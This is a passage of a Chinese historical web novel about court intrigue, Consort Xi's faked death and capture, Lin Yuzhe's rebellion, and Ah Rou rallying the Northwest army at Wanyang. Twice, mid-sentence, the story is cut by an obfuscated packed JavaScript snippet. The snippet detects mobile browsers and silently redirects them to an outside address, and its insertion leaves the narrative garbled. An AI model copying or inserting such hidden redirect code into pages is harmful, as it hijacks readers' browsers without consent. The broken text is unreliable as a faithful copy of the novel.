“只不过是将诸般决策在脑海中推算演练了几遍,得出相较可行的那一条罢了,算不得什么。”阿柔得了赞赏,看起来却并没有多开心,她微微垂下眼睫,“而且,我也不是没有自己的私心。营中条件有限,可大哥的伤,不能再拖下去了……” 戚叶临叹了口气,视线落在一旁躺着的昏迷不醒的大儿子身上,眉宇间染上愁色,“是啊。” 沉默片刻,阿柔又道:“还有一个原因,我方才没有说。” 戚叶临转过头看向她,“是什么?” 阿柔将手扶在下颌,细细思索道:“这些日子以来,我一直在想一个问题,谢阳为何要勾结哈赤努尔,对西北大营下手?” 戚叶临说道:“至少就目前的结果来看,他并没有在这件事上讨到什么好处。若是西北铁骑在一夕之间覆灭,陛下兴许会让他来补边境的空缺,倒是个赚取功绩的机会。只是一来,以连远道节度使兵的战力,即便是勾结哈赤努尔,也远没有将西北铁骑全军覆没的能耐。二来,这事做得太大张旗鼓,天子对他不可能不有所怀疑,风险远比收益高。” “是啊,要想一举歼灭西北铁骑,简直是痴人说梦。”阿柔顿了顿,说道,“可若是,他的目标从来不是歼灭我们,而是……拖住我们呢?” 戚叶临一愣,“什么意思?” “谢阳好歹也是一军统帅,不可能不知道节度使兵与西北铁骑实力悬殊,更不可能以卵击石。我为西北大营通风报信,的确是意料之外的事,但如今的局面,一定也在他的接受范围之内。” 阿柔神色冷冽几分,“这场仗只是他计划中的一环,他会对我们下手,是因为西北铁骑的存在对于他整个计划而言十分棘手。” “这个谢阳,他究竟想做什么?!”戚叶临仗打得厉害,对于势力斗争这些弯弯绕绕的东西却没什么研究。 “不是谢阳想做什么。”阿柔摇了摇头,“是林予哲想做什么。” 戚叶临面色巨变。 “回想起这一两年发生的事情,倒是都连在一起了。”阿柔面色凝重地说道,“二哥查过了,熙贵妃的身世背景皆为作假,她能入宫,背后必然有位高权重者推波助澜。若这事是林予哲做的,便是为了惑乱君心,也方便他掌控陛下的生活习惯、身体状况。” “定州地动确为天灾,可紧接着爆发的疫病却处处透着蹊跷。傅知州已经及时组织救援,安置难民,为何还是遭了和十几年前如出一辙的瘟疫?即便是傅知州有力不能及的地方,疫病也该起于照管不到的荒郊野岭,而非城中难民营。而在疫病爆发之前,谢阳曾带兵来送过粮草物资。” “就在我们因疫病忙得焦头烂额的时候,京城仙君庙走了水,足足烧了一整条街。寺庙乃是供奉香火之地,走水原也不是什么稀罕事。但为何偏偏是京城仙君庙?为何偏偏是这个时候?天下人皆传天子无德,天神雷霆大怒,降祸世间。这绝对是有心之人刻意设计的结果。” “在这之后,林予哲将两个骗子道士送入宫中,举办请神典仪,获取了陛下的信任。是为了让陛下沉迷于求仙问道,从而荒废朝政。” “再加上此番西北大营遭到的劫难。”阿柔终于说出了结论,“林予哲的谋算,求的是整个天下。” 戚叶临的脸色十分难看,“照你所说,林予哲和谢阳想要拖住我们,是因为……” “就在咱们被困此地的日子里,大昭怕是已经变了天了。” 周遭的空气都冷了下来,直刺人心。 …… 当初戚思彦将江北孙氏家主孙映梅引见入宫,为皇上诊脉,揭露出他一直以来被人下毒的事实。 圣上惊疑不定,一怒之下处决了许多身边亲近的宫人。 第二日早朝,戚思彦又上奏状告——熙贵妃柳云熙身世背景皆为造假,其入宫为妃是有人在背后推波助澜,必有不轨之心。 李钰闻之,再一次气血上涌。 这简直就是在暗示他,熙贵妃就是那个给他下毒的人! 李钰无法相信与自己朝夕相处多年的枕边人会做出如此行径,但身份造假一事证据确凿,这足以说明熙贵妃的入宫是有人刻意安排的。 这背后之人究竟想通过熙贵妃达成什么样的目的?李钰不敢细想。 “此女包藏祸心、为害朝纲,还请陛下处置!”有臣子跪下请命。 “你!”李钰脑海一片混乱,自欺欺人地道,“只是身份作假,说明不了什么!” “陛下万不可被妖女蒙蔽了双眼啊!”又有文臣跪下劝谏,字字珠玑,“自古以来,红颜祸水的例子还少吗?天下兴亡,皆系于陛下一人。妖女已犯欺君重罪,陛下莫非还要包庇吗!” 此言一出,在朝堂之上掀起重重波浪。 李钰因沉迷声色而荒废朝政一事,已是众人皆知的事实。朝中众臣早就对此颇有微词,只是先前的劝谏一直没有什么效果,这次好不容易抓住机会,当然不能轻易放过。 再者,他们之中有的人虽然算得上忠心,却远没有为君而死的决心与勇气。他们不敢触怒天子,更不敢在明面上谴责陛下色欲熏心、懒政怠政。 但要将所有的过错都推给一个女人,可是太容易了。 丞相梁朝越是个精于算计的老狐狸,轻易不会惹祸上身,方才一直冷眼旁观着朝中的局势,直到众人都开始声讨熙贵妃的时候,才出言附和着,“请陛下明鉴。” 李钰看到这副阵势,简直要气疯了,“住嘴,都给朕住嘴!” 现场稍稍安静下来了一些,但众臣仍旧执拗地跪在地上,一副誓不罢休的作态。 “你们若愿意跪,便一直跪下去吧!”李钰气急反笑,站起身来,将桌案上的东西一通乱砸,然后头也不回地离开了。 一下朝,李钰便直奔惊鸿殿而去。 熙贵妃听到下人禀报,笑意盈盈地在门口迎接,却见李钰怒气冲冲地向她走来,“柳云熙,朕对你这般好,你为何要欺骗朕?” 熙贵妃花容失色,跪下道:“陛下,臣妾不明白。” “不明白?你不明白?”李钰冷笑着将衣袖里的奏折取出来,扔在她的面前。 熙贵妃捡起那本奏折,越看越是心惊。 她抬起头,眼中雾气氤氲,看了便让人心生怜惜,“陛下,这件事臣妾可以解释。” “哦?解释?证据确凿,你还要狡辩?”李钰凶狠地道。 “臣妾的确不是敬州知州的亲生女儿,而是他捡回来的养女。”熙贵妃声泪俱下地解释道,“父亲的亲生女儿在选秀前一日染了怪病死了,这才让臣妾代替她入宫。” 李钰听到这个解释,简直要气笑了,“入宫前一天染病死了?你倒是说说什么样的病能让一个好端端的人毫无征兆地就死了?事情发生之后,又为什么不上报朝廷,而是让你一个养女代替入宫?柳云熙,朕原本是想好好听你解释的,可你就这样糊弄朕?!” “陛下!臣妾所言,句句属实!”熙贵妃将三指并拢,作发誓状,“有的病来得蹊跷,实在难以用常理解释,但它偏巧就是存在。陛下如若不信,大可去问太医。父亲当初便是知道此事不好解释,再加上臣妾与阿姐年龄相仿,便起了侥幸的心思……也许此事做得是有不妥,但臣妾和父亲绝不敢不敬陛下,更无不轨之心啊!” 李钰依然沉着脸,“哦?那么朕身体里的毒又是怎么回事?” 柳云熙惊愕地道:“陛下这是在怀疑臣妾?” 李钰避开了她的视线,生硬地道:“能在朕无知无觉时给朕下毒的,只有最亲近之人。你让朕如何不怀疑?” “陛下!”柳云熙睁大了双眼,难以置信地看着他,“臣妾与陛下这么多年的情分,难道如此不堪一击?” 李钰依旧没有看她,“正是因为朕这么多年一直宠你护你,朕才接受不了任何背叛。” 熙贵妃整个人如置冰窖,过了许久,她终于说道:“臣妾入宫多年,一直蒙受陛下宠爱,臣妾感念陛下怜惜,对陛下更是钦慕欢喜万分。臣妾对陛下之心,天地可鉴。倘或陛下不信,臣妾可以死明志。” 说罢,柳云熙直接站起身来,直直地向一旁的石柱撞去! “熙儿!”李钰闻言大惊,连忙回头看向柳云熙。 李钰无论如何也想不到,这座专门为熙贵妃打造的极乐宫殿,竟有一天会被贵妃自己的血染红。 …… 京城,景西王府。 “咳咳,咳咳咳……”屋舍里,戚思彦身着一件单薄的月白长袍,靠坐在床榻上,脸上泛着不正常的红晕,一只手捂住嘴,艰难地咳着。 乐瑶在一旁给他拍着背顺气,脸上的担忧简直都快溢出来了,“彦哥哥,需要叫大夫来吗?” 戚思彦强忍着咳嗽,笑着摇了摇头,摸了摸乐瑶的发顶,说道:“大夫昨日不是来瞧过吗?只是风寒罢了,不碍事。” “可是,可是……” 戚思彦握住了乐瑶的手,温柔地说道:“乖,彦哥没事,别害怕。” 被他这么一安慰,乐瑶反而更想哭了,她哽咽着说道:“父皇怎么变得那般不讲理了。柳云熙那个狐媚子,勾得父皇无心朝政,又犯下欺君大罪,几颗脑袋都不够她掉的!怎么寻死觅活地闹了闹,父皇便轻而易举地原谅了她,还让彦哥你为她守夜祈福!她这不也没死成吗,谁知道是不是做戏。” 戚思彦语气轻柔,“我几次三番在朝堂之上下了陛下的面子,他心有怨气,要冲我发泄,倒也在意料之中。” “究竟是面子重要,还是江山社稷重要!”乐瑶又生气又难过。 “是啊,这个道理,乐瑶都明白,他怎么不明白呢。”戚思彦自嘲地笑了笑。 乐瑶心中愧疚难过不已,“对不起,彦哥哥,都是父皇识人不清,可是我……可是我夹在中间,什么都做不了。” “不是这样的,乐瑶。”戚思彦的声音有些沙哑,但却依然柔和动听,“你是陛下最宠爱的小公主,也是我的妻子。正是因为陛下宠你、爱你,不愿让你受伤难过,即便我总是不顾情面、直言不讳,他也不会轻易惩戒。所以乐瑶……” 戚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12903310|130824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思彦笑着说道:“你就是保护我的荫蔽啊。” 乐瑶心中一片酸软。 她是千娇百宠养大的公主不错,却也不是不谙世事的傻子。父皇不会轻易重责于戚思彦,背后的原因有许多,绝不只是因她一个人。彦哥这么说,只是为了安慰她罢了。 乐瑶不想一直被安慰,她想成为与彦哥并肩,能为他排忧解难的人。 乐瑶抹了抹眼睛,将眼泪擦去,挤出一个笑颜来,重重地点了点头,“嗯!” 她不能再让彦哥分出心神来安慰她了。 就在此时,明珠进入内间通报道:“二公子,司门主来访。” …… 司言一进门,戚思彦便觉他脸色异常,他心中“咯噔”一下,问道:“阿言,可是出了什么事?” “戚二哥,林予哲那边有动静了。”司言一坐下,便开门见山地道,“我的暗桩传来消息,林予哲率军南下,正往长祈来。” “什么?!” 戚思彦被这个消息冲撞得阵阵发晕,不住地咳嗽着,“咳咳,咳咳……” “彦哥!”“戚二哥!” 另外两人被他吓了一跳。乐瑶给他拍着背顺气,司言则是赶忙倒了一杯温水递了过去。 乐瑶接过水杯,将杯口送到戚思彦的嘴边,戚思彦抓住乐瑶的手,就着杯子喝了几口水,总算稍稍缓了过来。 “晚些时候,我找个大夫来给你看看吧。”司言颇有几分忧心地道。 “只是吹了风,染了风寒。”戚思彦刚咳过一阵,嗓子哑得不行,他靠在床头虚弱地道,“我的身子骨一贯是这样,不必劳心费神。” “话不是这样说。”司言不赞同地道,“如今京城朝局一片混沌,林予哲又虎视眈眈,朝中像戚二哥这般忠君爱国、敢于直言的人实属少数。戚二哥若不好生珍重身体,之后的日子怕是难熬。再说,戚二哥就算不为自己考虑,也该为公主殿下,还有阿柔他们考虑才是。这些日子,戚二哥卧病在床,公主殿下可是忧心得很。” 戚思彦叹了口气,“我知道了,听你的便是。你先告诉我,林予哲率军南下是怎么一回事?” “林予哲在北境常泽城起兵,率军南下,现已占领了河北数城。”司言说道。 “怎么会这么快?朝廷还没有得到林予哲起兵造反的消息,他就能打下这么多城?”戚思彦简直觉得不可思议。 “河北区域的军权应当早就在他的掌控之中了。”司言咬牙说道,“这些城池州县的守城之人何时见过这种阵仗,早早便望风瓦解,毫无抵抗之意,甚至还有主动开门相迎的。” “该死!”戚思彦狠狠地骂了一句,“林予哲是冲着长祈来的,决不能让他得逞。乐瑶,帮我拿地图来。” 乐瑶点了点头,动作利落地往书房跑去,不一会儿就拿着一张地图回来。 三人一同铺展开地图,戚思彦问道:“现在可知道林予哲走到哪了?” 司言一边思索,一边在地图上指着,“暗桩传来消息时,林予哲已经攻占了绵川、业守、太康、池州这几座城,大致就在河北这一片位置。” 戚思彦用食指划过这几座城池,大致比划了一下林予哲行军的轨迹,说道:“若他想省去麻烦,直取长祈,须得走青函关。但青函关地势险峻,易守难攻,要想攻下,绝非易事。若要避开青函关,就只能绕到南侧,再北上进攻。” 司言摇了摇头,“叛军绕到南边的可能性不大。一来费时费力,路上损耗太大。二来烟云四州有三朝老将唐元思,林予哲不可能不忌惮。若是绕到南侧,唐元思带兵北上,与长祈守军合力包夹,林予哲将无处可退。” “如此看来,林予哲走青函关的可能性确实更大一些。”戚思彦认同地道。 “朝廷只需死守这道关卡,叛军久攻不下,自会知难而退。”司言说道。 “话虽如此,也不可掉以轻心。”戚思彦提醒道,“林予哲的布局已非一日两日,他又是个能置妻儿生死于不顾的疯子。你永远不能小看一个亡命之人的决心。” “嗯,我知道。”司言点头表示明白,“如今情势虽然危急,好在尚有应对之法。只是朝中文臣,大多对行军打仗之事一窍不通。我只怕陛下又听信小人之言,做出不利于现状的决策来。届时还需戚二哥在朝中周旋。” 司言看到戚思彦苍白的神色,真诚地劝说道:“在那之前,戚二哥一定要保重身体,后面还有一场硬仗要打啊。” “贼寇未除,我绝不会倒下。”戚思彦声音虚弱,语气却十分坚定。他忽然想到了什么,问道:“对了,西北边境那边可有消息?” “……没有消息,一切如常。” “是吗……”戚思彦若有所思。前段时间,他收到了阿柔的来信,信中大致说了一番边境的现状,表示战局都在掌控之中,让他不要挂心。可不知为什么,戚思彦总觉得心中惴惴不安。 司言小心翼翼地觑着他的神色,终究还是什么也没说。 “也罢,边境的事还轮不到我来犯难。”戚思彦没有注意到司言不自然的神情,他微微叹了口气,说道,“我需要好好想一想,如今的局面,应当如何应对。” 60. 生死 清晨,西北大营。 楚思越站在木制的简陋平台上,底下围着一众将士。他攥紧双手,似乎有些紧张。 阿柔一身窄袖圆领红袍,腰间配着一把军队制式的环首刀,头发高高盘起,英姿飒爽地立在一旁。 今日营中宣讲,戚叶临原也该到场的。只是晨起喝了汤药后便又陷入了昏睡,此时此地,就只有楚思越一人可以挑起大梁。 楚思越深吸一口气,扬声说道:“西北的将士们听令!宛阳已被反贼谢阳占领,我们身为景西王军、西北铁骑,不可将大招国土拱手相让于反贼之手。今日众将可整顿行装,自明日起,我们便进军宛阳!” 台下一片哗然。 “明天?开什么玩笑?” “弟兄们重伤未愈,怎么打仗啊!” “王爷呢?这是王爷的意思吗?” “……” 楚副将先前一直跟在戚叶临身边做事,虽然也曾独当一面地领兵打仗,但在如此危急时刻下达重要军令,还是头一回。 楚思越额角生出细汗,他摆了摆手,企图制止台下的声浪,“这是王爷的命令,众将如有疑虑,我可代为解答。” 立刻就有人质问道:“弟兄们伤得这样重,还没休整几天又要打,这不是送命吗!” “对啊,这不是送命吗!” “你叫王爷来和我们说清楚,我不相信王爷肯让大家去送死!” 底下吵吵嚷嚷,乱作一团。 “安静!”楚思越见此情状,竟极少见地发了怒,黑着脸望向方才说话的人,“你不相信这是王爷的命令,莫非是在说本将假传军令?笑话!王爷尚在西北大营,若无他本人首肯,我岂能擅自下令!若是因你妄自揣测而误了军情,你有几个脑袋可以掉?!” 营中将士皆是一惊。楚思越一向是个好说话的人,没成想被逼急了,竟能爆发出如此威力来。 台下总算安静了一些,楚思越继续道:“军令如山,本就不容置喙。我与诸将解释理由,是想以理服人。如果还有人扰乱军纪,不服命令,就以军法处置!” 语毕,营中瞬间鸦雀无声。 没人看见楚思越的手心全是汗,他强自镇定地道:“我知道众将心有疑虑,我原先也认为,西北铁骑如今的状态,实在不适合打仗。可如今的西北大营处境尴尬,被卡在谢阳与哈赤努尔之间,倘若他们之中任意一方发起进攻,我们照样是死路一条。只有趁谢阳毫无防备之时发起奇袭,尚有一线生机。” 众将面面相觑,似乎并不能理解他言中之意。 楚思越直觉自己并未完全说服他们,还想再解释什么,阿柔却走上木台,朗声说道:“诸位将士,请听我一言。” “三,三娘?”楚思越完全没想到阿柔会在此时开口说话,错愕不已。 “我知道,也许你们心里在想,我一介女子,又非军营中人,有什么资格插手营中之事。但是……”阿柔从腰间摸出“戚”字玉牌,底下有识货的人,见之皆变了神色,“此乃先帝御赐麒麟玉牌,先帝曾言,见此玉牌,如见景西王本人。阿爹今日因伤未能出席大会,此前托我向众将传话,还望诸位能听我代为转达。” 阿柔的声音铿锵有力,语气激情高昂,她高声说道:“就在前不久,西北铁骑遭到连远道节度使兵的背叛。我们原是西北的战狼,誓死捍卫国土的英雄,如今却因小人的算计,沦落至如今九死一生的局面。你们,难道不想为了无辜枉死的弟兄们报仇吗?” 一石激起千层浪。 “想啊!做梦都想!” “老子一定要宰了那帮卖国混蛋!” “……” 众将的情绪一下子就被调动了起来,脸上皆是悲愤之色,似乎下一秒就能提着刀杀进谢阳的老巢。 阿柔环视一圈台下,继续说道:“我知道你们都想报仇,我也想。我想告诉世人,西北铁骑不是一帮残兵败将,而是坚守大义的英雄。我想告诉宛阳城的百姓,西北铁骑没有抛弃他们,我们会将那帮鸠占鹊巢的可耻贼人彻底铲除!可只有活下去,我们才有复仇的权利。” “如今的情形,原地徘徊是死,一往无前才是生。我不敢说这场仗一定会顺利,但天下本就没有必胜之仗,更何况……” 阿柔举起麒麟玉牌,深吸一口气,用尽浑身力气扬声高呼:“无论是死是生,景西王与西北铁骑同在!若胜,你我同享荣光,若败,我绝不独活!” 阿柔的声音坚实有力,久久地缭绕于西北荒漠的广远天际。 楚思越睁大了眼,“三娘,你……” “我戚雪柔,在此立下军令状。”阿柔神色坚定,毫无退缩之意,“若宛阳一战败了,戚雪柔,以死谢罪。” “三娘!”楚思越大惊。 军中无戏言,说出去的话,断没有收回来的道理。不单是楚思越,营中众将无不惊愕震颤万分。 一股坚实有劲的力量瞬间涌入身体中的每一寸骨骼,众将心潮澎湃、气血涌动——面对未知胜负的战役,一个姑娘尚且抱了必死的决心,他们这帮久经沙场的爷们又在惧怕什么! “誓死追随景西王!”台下有人大吼。 这句声嘶力竭的呐喊,掀起一层又一层的巨浪。 “誓死追随景西王!” “誓死追随景西王!!!” “……” 人人面上都是兴奋激动之色,哪里还有最初那般死气沉沉的模样? 宣讲的目的达到了,楚思越却并没有庆祝的心情,他心中一片乱吗,几乎被各种各样的问题填满了—— 三娘子莫不是疯了?她是什么时候决定这样干的?她知道这么做的后果吗? 难道说…… 楚思越猛然一惊,心中突然有了个想法——难道说,戚叶临今早喝了汤药便昏睡过去,是三娘子有意为之? 楚思越看向阿柔,只见她昂首挺胸、挺直腰背,似乎任何重物都不能压弯她的脊梁。那张俏丽姣好的面容之上写满了坚定与决绝,全无惧色与悔意,甚至带着从容的微笑。 楚思越第一次为一个姑娘感到震撼。 她灵魂之坚韧,绝不逊色于任何一个久经战场的猛将。 …… 散会之后,楚思越叫住了阿柔。 阿柔早有预料,淡定地说道:“楚副将,我知道你有很多疑问。今日之事皆是阿柔一意孤行,倘若阿爹问起,楚副将如实禀明就行。” “三娘,你知道我问的不是这个。”楚思越心急地道,“你可知在人前立下军令状的后果?” “我既敢说,自是知道的。” “那又是为什么?”楚思越简直要急疯了,“若是不立军令状,便打不了仗了吗?” “接下来这一战,决定了西北铁骑的生死存亡。”阿柔看着他的眼睛,“我们本就伤亡惨重,若再不鼓足士气,如何与节度使军一战?” “鼓足士气有很多种办法。”楚思越又道。 “但这是最快,且最行之有效的一种。楚副将,阿柔不是军制中人,原本无权插足军中事务。但我手上既有这块‘戚’字玉牌,便姑且听我一句。”阿柔言辞恳切地道,“你是将,他们是兵。士兵服从军令,原是天经地义的,你无需向他们解释原因。” 楚思越知道自己今日的表现远不够好,自觉羞愧,“我以为,只要把个中道理讲明白,他们便能知晓王爷的考量。” “不同之人,有不同应对之法。军中大多是些糙汉子,你要讲道理,几个人听得进去?”阿柔见楚思越无言以对,便继续往下说,“包括今日,他们原先还颇有异议,后面又为什么老实了?不是因为你道理讲得明白,也不是因为你当着他们的面发了火,而是因为他们害怕军法。” 楚思越一愣,顿时醍醐灌顶。 “你与他们讲道理,他们未必明白你的考量。但倘若你将自己置身于与他们同样的处境,便会明白,他们此刻需要的不是通篇的大道理,而是主将与他们生死相连的承诺,以及……必胜的决心。”阿柔看着楚思越,说道,“这就是军令状存在的意义。” 楚思越愣住了,过了一会儿,他才低声开口道:“所以,今日大会之上,你的发言,是一早就想好的?” 阿柔知道,此时此刻辩驳什么都是毫无意义的,便点头答道:“是。” 楚思越又问:“王爷今日未能出席大会,也有你一份算计?” 阿柔沉默片刻,说道:“若阿爹在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12914657|130824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场,我只怕他立下军令状的会是他。所以……我便先一步替他做这件事。” 楚思越只觉一股郁气结在心口,他还有许多话想说,指责也好,宽慰也罢,但无论什么话,在如此情形之下似乎都显得太单薄。 他终是叹了口气,感叹道:“三娘啊三娘,我真想不到,你做起事来,竟比军营里的爷们都疯。” “话也不是这么说,若是败了,即便没有军令状,恐怕难逃一死。”阿柔不想与他就着这个话题继续说下去,“楚副将,闲聊已经太久了。昨夜商议好要派一队精兵先行,可定好人选了?” 楚思越回答:“除却你从宛阳带来的故渊门人外,又挑了几十个行动利落的精兵,我现在便将人召集起来。” 那日,戚叶临曾说起,西北大营并无攻城器具,若无筹算,绝无可能取胜。阿柔便想起她离开宛阳时走的那条官沟。 她既能从官沟逃出来,便能从官沟杀回去。 但这样一条通道,要想让几万士兵穿行而过,显然是不可能的事。 且不说队伍中有许多伤兵残兵,若是在这种狭窄、沆赃的地方徘徊,伤情怕是会感染恶化。再者,如此庞大的队伍,若是靠近城池十里之内,必定会被守城的士兵发现。 阿柔便提出,先派出一支精兵先行,趁夜晚走官沟潜入宛阳,解决掉拒守城门的节度使兵,打开城门,直接杀入宛阳城,打谢阳一个措手不及。 这条计划有可行之处,却也存在着巨大的风险。稍有不慎,先行兵便有暴露行迹的可能。谢阳一旦对此心生戒备,所谓的“奇袭”也就不复存在了。 而且,就算先行小队将城墙守兵尽数歼灭,西北铁骑也不可能立即入城。 从十里之外的藏身之地赶来,大约需要一个时辰左右。先行军要如何通知十里之外的西北铁骑可以入城?这一个时辰之内又如何保证谢阳不会有所察觉,派人增援? 阿柔思索片刻,又提出:“那就兵分两路,一部分人在城中制造混乱,最好是能拖住谢阳的手脚,另队人杀上城楼,把门打开,放咱们的人进来。” 戚叶临听说之后,静默片刻说道:“以西北铁骑如今的兵力,原本不适合再分头行动。但……如此处境之下,即便是我,也难以想出万全之法。况且行军打仗之事,本就不能全靠理论推演,如今的西北铁骑已立于悬崖边缘,绝不能固步自封,还须兵行险着,也许生机自会浮现于变化之中。” 这便是予以准许了。 这支小队需要起到的作用不在于“猛”,而在于“奇”,需要根据宛阳城内具体情况随机应变,打对面一个措手不及,又必须拥有单打独斗的本事才行。 所以,除了本就出身于江湖,身法招式难以揣摩的故渊门人外,楚思越又挑选了营中单人作战能力最强的将士们。而阿柔既知晓宛阳城内官沟方位,又能号令故渊门弟子,自然也在随行之列。 临行之前,阿柔对楚思越说:“当初跟我一起从宛阳来的故渊门弟子,共有十七人,现在只剩下十二人……他们是我带出来的,理应由我带回去。待到攻下宛阳,便将他们,还有那些无辜枉死的将士的尸骨带回去,埋葬在他们所热爱的这片大地之下。” “我知道。”楚思越沉声说道,“此去一别,但愿再见,便是胜利之时。” “放心吧,楚将军。”阿柔展颜一笑,干净利落地翻身上马。她的语气潇洒恣意,仿佛这只是一场再平常不过的告别,“别忘了我还签着生死状呢,即便是为了自己的命,我也会赢下这一仗的。” 阿柔策马向城池的方向而去,身上承载的是整个西北大营的希望。 她挥挥手,头也不回地道:“我不在,阿爹和大哥就交给你了!” 她不再看楚思越的脸,不再看马蹄扬起的沙尘,不再看一点一点消失在远处的西北大营。 马背之上,阿柔紧紧地攥着那枚“戚”字玉牌。 “爹,娘,哥哥……”阿柔心中默念,“阿柔此行,必不让景西王府蒙羞。” 她要夺回宛阳,安烈士之灵。 她要手刃敌寇,报背叛之仇。 她要捍卫景西王府的尊严与荣光。 她始终记得,她姓戚,名唤戚雪柔。 61. 云熙 大昭近日来接连发生了两件轰动朝野的大事。 第一件,素有倾国倾城之姿,又有宠冠六宫之位的熙贵妃柳云熙,薨了。 熙贵妃前些日子才因为犯下欺君之罪立于风口浪尖之上,而后又欲以死明志,虽然未果,却让圣上对她比从前更加维护,不仅令大理寺少卿戚思彦为其守夜祈福,又将后来上奏请求陛下早日治罪柳云熙的承王禁足三日。 朝中重臣皆知陛下年事已高,色令智昏,也没想着能在一夕之间处理掉柳云熙这个祸患。却没想到,她竟然毫无征兆地便薨逝了。 圣上为柳云熙办了一场极尽奢靡的葬礼。直到看到棺中之人的面容,众臣才逐渐相信了贵妃已逝的事实。 戚思彦冷眼旁观着这一切,却觉得蹊跷极了。 圣上对外说,熙贵妃是病逝的。可前些日子还好端端的人,为何突然染了病,又恰好在众人口诛笔伐之时薨逝。 而且,圣上的表现同样也很奇怪。葬礼之上,李钰虽然也展露出了悲痛之色,戚思彦却觉得他的神情并不自然。 这可不是件好事…… 且不说熙贵妃莫名其妙地死去,戚思彦根本来不及问出她与林予哲之间的牵连,更问不出有关林予哲的谋算来。 再者,朝中已然有墙头草为了讨好皇上,说戚思彦处事方式不当。怀王更是趁此机会,没少在陛下面前给承王穿小鞋。 而贵妃薨逝没多久,威北大将军林予哲起兵常泽,率领叛军十五万,已占领河北数城的消息就传回了朝堂。 朝野上下,无不震动惊惶。 陛下闻之,更是不可置信。 一瞬之间,朝中再无人记得熙贵妃的事情。一个女人的消香玉殒,就如同一滴水落在清潭之中,激起微微一圈涟漪,随后便再无痕迹。 刚开始,李钰并不相信林予哲造反。 可随着河北地区传回来的奏报越来越多,李钰不得不接受这个事实。他震惊大怒,令人将林予哲留在京中的妻儿抓起来,斩首示众。 泄愤之后,李钰召来丞相梁朝越共同商议对策,派出留守京城的武将江照人带兵征讨反贼。 戚思彦并不认可这项决策。这个江照人,戚思彦接触过,虽然出身武学世家,但却没有什么行兵打仗的经验,为人又轻浮自满。若要派他对阵在北境战场杀伐果断的威北大将军,胜算渺茫。 江家与梁家一向往来密切,梁朝越会举荐江照人,不过是想抓住一切机会在军方安插他的党羽,这份心思简直昭然若揭。 戚思彦一向是个淡漠的人,鲜少有情绪波动。一来是因为身子骨弱,不能经常动气。二来,他入京多年,早就见惯了朝堂之上的尔虞我诈,被岁月磨平了棱角。 然而此时,他却真真切切地感受到了愤怒。 结党营私、玩弄权术、争斗算计…… 反贼将近,为何这些居高位者仍然只知贪图利益、满足野心?为何他们永远看不到潜藏在安稳下的危机,永远将大昭国祚视为儿戏?为何前线兵士不断地流血牺牲,皇室贵胄却能心安理得地坐享其成? 戚思彦受够了…… 在那一刻,他竟然觉得,如此腐烂不堪的朝廷,便是就此倾覆,也是报应。 可纵使戚思彦再怎么想任这些玩弄权术之人自生自灭,他也不能置民情民生于不顾。国家动荡,遭殃的必然是百姓。若不尽早结束战局,只会有更多无辜之人因此而丧命。 所以,戚思彦仍旧选择在朝堂之上据理力争。 即便帝王闭目塞听,即便权臣操控大局,即便无人与他同行,他依然要抗争到最后一刻。 很久以前,戚思彦就因病弱而离开了西北战场。但这么多年来,他其实从未放弃过战斗。 因为朝局,亦是战场。 …… 鲜少有人知道,承王府上有一座监牢。这是个四面无窗的地方,一旦被押进来,便再也感觉不到时间的流逝,也感受不到早晚的变化,只能终日活于恐惧与麻木之中。 夺嫡之路上,有许多放不得台面上的事,就只能暗地里解决。自监牢建成以来,李晁奚在此处审问了许多人,也处决了许多人。 但囚禁一个女人,一个容貌昳丽、倾国倾城的女人,还是头一回。 那个女人身着一袭白衣,即便面上和身上都沾满了尘土,也掩藏不住容色动人。 那人竟是前几日便已“薨逝”的熙贵妃柳云熙。 李晁奚站在牢门外,居高临下地看着她,说道:“贵妃娘娘,别来无恙。” 柳云熙蜷缩在角落里,艰难地抬头望他,“你,你是承王……我怎么会在这里……” “很疑惑,是吗?”李晁奚道,“我那好皇兄为了讨好父皇,助你服药假死,以此来免于朝臣责难,怎么待你醒来之后,却落入了我的手中?” 柳云熙轻轻一笑,“你都知道了……” “我知道,倒不如说,这一切都在我的计划之中。”李晁奚淡淡地说道。 “你是故意劝说陛下严厉惩处我的。”柳云熙想明白了一切,“陛下因此而责难于你,便能引得怀王做出与你相反的决定来。” “即便怀王最终不为所动,我也能趁此机会博得戚少卿的好感,总归是不亏的。”李晁奚说道。 “所以呢,你千方百计将我抓来这里,是想做什么?”柳云熙看着他,眼神中满是敌意,不由自主地将自己环抱成一团。 “贵妃娘娘误会了,我并非贪图你身上的什么东西。”云飏给他搬来了一张椅子,李晁奚坐下,隔着牢门对她说道,“我只是想与你做一笔交易罢了。” “交易?”柳云熙自嘲一笑,“你与我能做成什么交易” 李晁奚看着她,说道:“回答我,你是林予哲的人吗?” 柳云熙秀眉一挑,“是又如何?” “把你知道的有关林予哲的一切都告诉我,包括他这些年的筹谋与计划。”李晁奚说道,“我可以考虑放你走。” “哈哈,哈哈哈……”柳云熙仿佛听到了什么笑话似的。 云飏生气地道:“殿下同你说话,你笑什么!” “笑什么?我笑你们这些皇室贵胄,通通拿我当傻子。”柳云熙冷笑道,“林予哲已反,朝中众臣都视我为红颜祸水,你又岂能容我性命?” “你想多了,我对你的性命没有兴趣。”李晁奚不以为意,“况且对于世人而言,熙贵妃已经是个死人了。你往后若固守本分,我也不是不能帮你重新开始。” “哼。”柳云熙仍旧不信。 